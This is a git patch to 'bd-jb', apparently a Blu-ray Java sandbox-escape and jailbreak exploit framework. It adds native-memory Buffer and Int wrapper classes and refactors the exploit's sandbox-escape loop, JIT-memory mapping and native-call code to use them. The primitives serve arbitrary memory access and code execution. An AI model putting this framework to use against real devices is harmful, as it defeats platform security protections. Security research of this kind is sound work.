From c1ec81b377286edb97232f495107abb93d1db428 Mon Sep 17 00:00:00 2001 From: Andy Nguyen Date: Sat, 6 Nov 2021 11:16:02 +0100 Subject: [PATCH] Add Int and Buffer primitives. --- Makefile | 6 +++ src/com/bdjb/Exploit.java | 14 +++--- src/com/bdjb/JIT.java | 27 +++++------ src/com/bdjb/api/API.java | 7 +-- src/com/bdjb/api/Buffer.java | 91 +++++++++++++++++++++++++++++++++++ src/com/bdjb/api/Int16.java | 45 +++++++++++++++++ src/com/bdjb/api/Int32.java | 45 +++++++++++++++++ src/com/bdjb/api/Int64.java | 45 +++++++++++++++++ src/com/bdjb/api/Int8.java | 45 +++++++++++++++++ src/com/bdjb/api/IntBase.java | 79 ++++++++++++++++++++++++++++++ 10 files changed, 377 insertions(+), 27 deletions(-) create mode 100644 src/com/bdjb/api/Buffer.java create mode 100644 src/com/bdjb/api/Int16.java create mode 100644 src/com/bdjb/api/Int32.java create mode 100644 src/com/bdjb/api/Int64.java create mode 100644 src/com/bdjb/api/Int8.java create mode 100644 src/com/bdjb/api/IntBase.java diff --git a/Makefile b/Makefile index 3de036e..c49aae4 100644 --- a/Makefile +++ b/Makefile @@ -11,6 +11,12 @@ CLASSES = \ $(SRC)/com/bdjb/JIT.java \ $(SRC)/com/bdjb/Screen.java \ $(SRC)/com/bdjb/api/API.java \ + $(SRC)/com/bdjb/api/Buffer.java \ + $(SRC)/com/bdjb/api/IntBase.java \ + $(SRC)/com/bdjb/api/Int8.java \ + $(SRC)/com/bdjb/api/Int16.java \ + $(SRC)/com/bdjb/api/Int32.java \ + $(SRC)/com/bdjb/api/Int64.java \ $(SRC)/com/bdjb/api/UnsafeInterface.java \ $(SRC)/com/bdjb/api/UnsafeJdkImpl.java \ $(SRC)/com/bdjb/api/UnsafeSunImpl.java \ diff --git a/src/com/bdjb/Exploit.java b/src/com/bdjb/Exploit.java index 21800dc..cedef3c 100644 --- a/src/com/bdjb/Exploit.java +++ b/src/com/bdjb/Exploit.java @@ -20,18 +20,16 @@ import java.net.ServerSocket; import java.net.Socket; class Exploit implements Runnable { - private static final Class[] sandboxExploits = - new Class[] { - ExploitDefaultImpl.class, ExploitUserPrefsImpl.class, ExploitServiceProxyImpl.class - }; - - private static final Class[] kernelExploits = new Class[] {}; - static void init() { Screen.println("[+] bd-jb by theflow"); Screen.println("[*] Escaping Java Sandbox..."); + Class[] sandboxExploits = + new Class[] { + ExploitDefaultImpl.class, ExploitUserPrefsImpl.class, ExploitServiceProxyImpl.class + }; + for (int i = 0; i < sandboxExploits.length; i++) { try { ExploitSandboxInterface exploit = @@ -60,6 +58,8 @@ class Exploit implements Runnable { Screen.println("[*] Exploiting kernel..."); + Class[] kernelExploits = new Class[] {}; + for (int i = 0; i < kernelExploits.length; i++) { try { ExploitKernelInterface exploit = (ExploitKernelInterface) kernelExploits[i].newInstance(); diff --git a/src/com/bdjb/JIT.java b/src/com/bdjb/JIT.java index e494b23..125e3c9 100644 --- a/src/com/bdjb/JIT.java +++ b/src/com/bdjb/JIT.java @@ -8,6 +8,8 @@ package com.bdjb; import com.bdjb.api.API; +import com.bdjb.api.Buffer; +import com.bdjb.api.Int8; import java.io.RandomAccessFile; /** @@ -97,17 +99,15 @@ public final class JIT { } private void initJitHelpers() { - long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE); - api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE); - api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE); - if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) { + Buffer modinfo = new Buffer(SCE_KERNEL_MODULE_INFO_SIZE); + modinfo.fill((byte) 0); + modinfo.putLong(0x00, SCE_KERNEL_MODULE_INFO_SIZE); + if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo.address()) != 0) { throw new IllegalStateException("sceKernelGetModuleInfo failed."); } - long bdjBase = api.read64(modinfo + 0x108); - long bdjSize = api.read32(modinfo + 0x110); - - api.free(modinfo); + long bdjBase = modinfo.getLong(0x108); + int bdjSize = modinfo.getInt(0x110); int i = 0; while (i < bdjSize @@ -141,10 +141,9 @@ public final class JIT { } public long jitMap(long size, long alignment) { - long name = api.malloc(4); - api.strcpy(name, "jit"); - long blob = api.call(BufferBlob__create, name, size); - api.free(name); + Buffer name = new Buffer(4); + api.strcpy(name.address(), "jit"); + long blob = api.call(BufferBlob__create, name.address(), size); if (blob == 0) { throw new IllegalStateException("Could not map JIT memory."); } @@ -154,7 +153,7 @@ public final class JIT { public void jitCopy(long dest, byte[] src, long n) { long req = api.malloc(COMPILER_AGENT_REQUEST_SIZE); - long resp = api.malloc(API.INT8_SIZE); + long resp = api.malloc(Int8.SIZE); for (long i = 0; i < n; i += CHUNK_SIZE) { byte[] chunk = new byte[CHUNK_SIZE]; @@ -167,7 +166,7 @@ public final class JIT { api.call(write, compilerAgentSocket, req, COMPILER_AGENT_REQUEST_SIZE); api.write8(resp, (byte) 0); - api.call(read, compilerAgentSocket, resp, API.INT8_SIZE); + api.call(read, compilerAgentSocket, resp, Int8.SIZE); if (api.read8(resp) != ACK_MAGIC_NUMBER) { throw new IllegalStateException("Wrong compiler resp."); diff --git a/src/com/bdjb/api/API.java b/src/com/bdjb/api/API.java index f31bfc3..11e1e06 100644 --- a/src/com/bdjb/api/API.java +++ b/src/com/bdjb/api/API.java @@ -15,11 +15,6 @@ import java.lang.reflect.Method; /** API class to access native data and execute native code. */ public final class API { - public static final int INT8_SIZE = 1; - public static final int INT16_SIZE = 2; - public static final int INT32_SIZE = 4; - public static final int INT64_SIZE = 8; - public static final int RTLD_DEFAULT = -2; public static final int LIBC_MODULE_HANDLE = 0x2; @@ -280,7 +275,7 @@ public final class API { } public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { - long fakeClassOop = malloc(INT64_SIZE); + long fakeClassOop = malloc(Int64.SIZE); long fakeClass = malloc(0x100); long fakeKlass = malloc(0x200); long fakeKlassVtable = malloc(0x400); diff --git a/src/com/bdjb/api/Buffer.java b/src/com/bdjb/api/Buffer.java new file mode 100644 index 0000000..6cfb428 --- /dev/null +++ b/src/com/bdjb/api/Buffer.java @@ -0,0 +1,91 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.api; + +public class Buffer { + private static final API api; + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + private final long address; + + private final int size; + + public Buffer(int size) { + this.address = api.malloc(size); + this.size = size; + } + + public void finalize() { + api.free(address); + } + + public long address() { + return address; + } + + public int size() { + return size; + } + + public byte getByte(int offset) { + checkOffset(offset); + return api.read8(address + offset); + } + + public short getShort(int offset) { + checkOffset(offset); + return api.read16(address + offset); + } + + public int getInt(int offset) { + checkOffset(offset); + return api.read32(address + offset); + } + + public long getLong(int offset) { + checkOffset(offset); + return api.read64(address + offset); + } + + public void putByte(int offset, byte value) { + checkOffset(offset); + api.write8(address + offset, value); + } + + public void putShort(int offset, short value) { + checkOffset(offset); + api.write16(address + offset, value); + } + + public void putInt(int offset, int value) { + checkOffset(offset); + api.write32(address + offset, value); + } + + public void putLong(int offset, long value) { + checkOffset(offset); + api.write64(address + offset, value); + } + + public void fill(byte value) { + api.memset(address, value, size); + } + + private void checkOffset(int offset) { + if (offset < 0 || offset >= size) { + throw new IndexOutOfBoundsException(); + } + } +} diff --git a/src/com/bdjb/api/Int16.java b/src/com/bdjb/api/Int16.java new file mode 100644 index 0000000..55d1922 --- /dev/null +++ b/src/com/bdjb/api/Int16.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.api; + +public final class Int16 extends IntBase { + public static final int SIZE = 2; + + public Int16(int[] dimensions) { + super(dimensions); + } + + public Int16() { + super(); + } + + public Int16(short value) { + this(); + this.set(value); + } + + int elementSize() { + return SIZE; + } + + public short get() { + return api.read16(address); + } + + public void set(short value) { + api.write16(address, value); + } + + public short get(int[] indices) { + return api.read16(address + offset(indices)); + } + + public void set(int[] indices, short value) { + api.write16(address + offset(indices), value); + } +} diff --git a/src/com/bdjb/api/Int32.java b/src/com/bdjb/api/Int32.java new file mode 100644 index 0000000..a9ce17a --- /dev/null +++ b/src/com/bdjb/api/Int32.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.api; + +public final class Int32 extends IntBase { + public static final int SIZE = 4; + + public Int32(int[] dimensions) { + super(dimensions); + } + + public Int32() { + super(); + } + + public Int32(int value) { + this(); + this.set(value); + } + + int elementSize() { + return SIZE; + } + + public int get() { + return api.read32(address); + } + + public void set(int value) { + api.write32(address, value); + } + + public int get(int[] indices) { + return api.read32(address + offset(indices)); + } + + public void set(int[] indices, int value) { + api.write32(address + offset(indices), value); + } +} diff --git a/src/com/bdjb/api/Int64.java b/src/com/bdjb/api/Int64.java new file mode 100644 index 0000000..0e6d372 --- /dev/null +++ b/src/com/bdjb/api/Int64.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.api; + +public final class Int64 extends IntBase { + public static final int SIZE = 8; + + public Int64(int[] dimensions) { + super(dimensions); + } + + public Int64() { + super(); + } + + public Int64(long value) { + this(); + this.set(value); + } + + int elementSize() { + return SIZE; + } + + public long get() { + return api.read64(address); + } + + public void set(long value) { + api.write64(address, value); + } + + public long get(int[] indices) { + return api.read64(address + offset(indices)); + } + + public void set(int[] indices, long value) { + api.write64(address + offset(indices), value); + } +} diff --git a/src/com/bdjb/api/Int8.java b/src/com/bdjb/api/Int8.java new file mode 100644 index 0000000..2bb74c3 --- /dev/null +++ b/src/com/bdjb/api/Int8.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.api; + +public final class Int8 extends IntBase { + public static final int SIZE = 1; + + public Int8(int[] dimensions) { + super(dimensions); + } + + public Int8() { + super(); + } + + public Int8(byte value) { + this(); + this.set(value); + } + + int elementSize() { + return SIZE; + } + + public byte get() { + return api.read8(address); + } + + public void set(byte value) { + api.write8(address, value); + } + + public byte get(int[] indices) { + return api.read8(address + offset(indices)); + } + + public void set(int[] indices, byte value) { + api.write8(address + offset(indices), value); + } +} diff --git a/src/com/bdjb/api/IntBase.java b/src/com/bdjb/api/IntBase.java new file mode 100644 index 0000000..08b1eb3 --- /dev/null +++ b/src/com/bdjb/api/IntBase.java @@ -0,0 +1,79 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.api; + +abstract class IntBase { + static final API api; + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + final long address; + + final int size; + + final int[] dimensions; + + IntBase(int[] dimensions) { + this.dimensions = dimensions; + this.size = size(dimensions); + this.address = api.malloc(size); + } + + IntBase() { + this(new int[] {1}); + } + + abstract int elementSize(); + + public void finalize() { + api.free(address); + } + + public long address() { + return address; + } + + public int size() { + return size; + } + + public int size(int[] dimensions) { + assert (dimensions.length > 0); + int size = 1; + for (int i = 0; i < dimensions.length; i++) { + size *= dimensions[i]; + } + size *= elementSize(); + return size; + } + + public int offset(int[] indices) { + assert (indices.length == dimensions.length); + int offset = 0; + int stride = 1; + for (int i = indices.length - 1; i >= 0; i--) { + offset += stride * indices[i]; + stride *= dimensions[i]; + } + offset *= elementSize(); + checkOffset(offset); + return offset; + } + + private void checkOffset(int offset) { + if (offset < 0 || offset >= size) { + throw new IndexOutOfBoundsException(); + } + } +}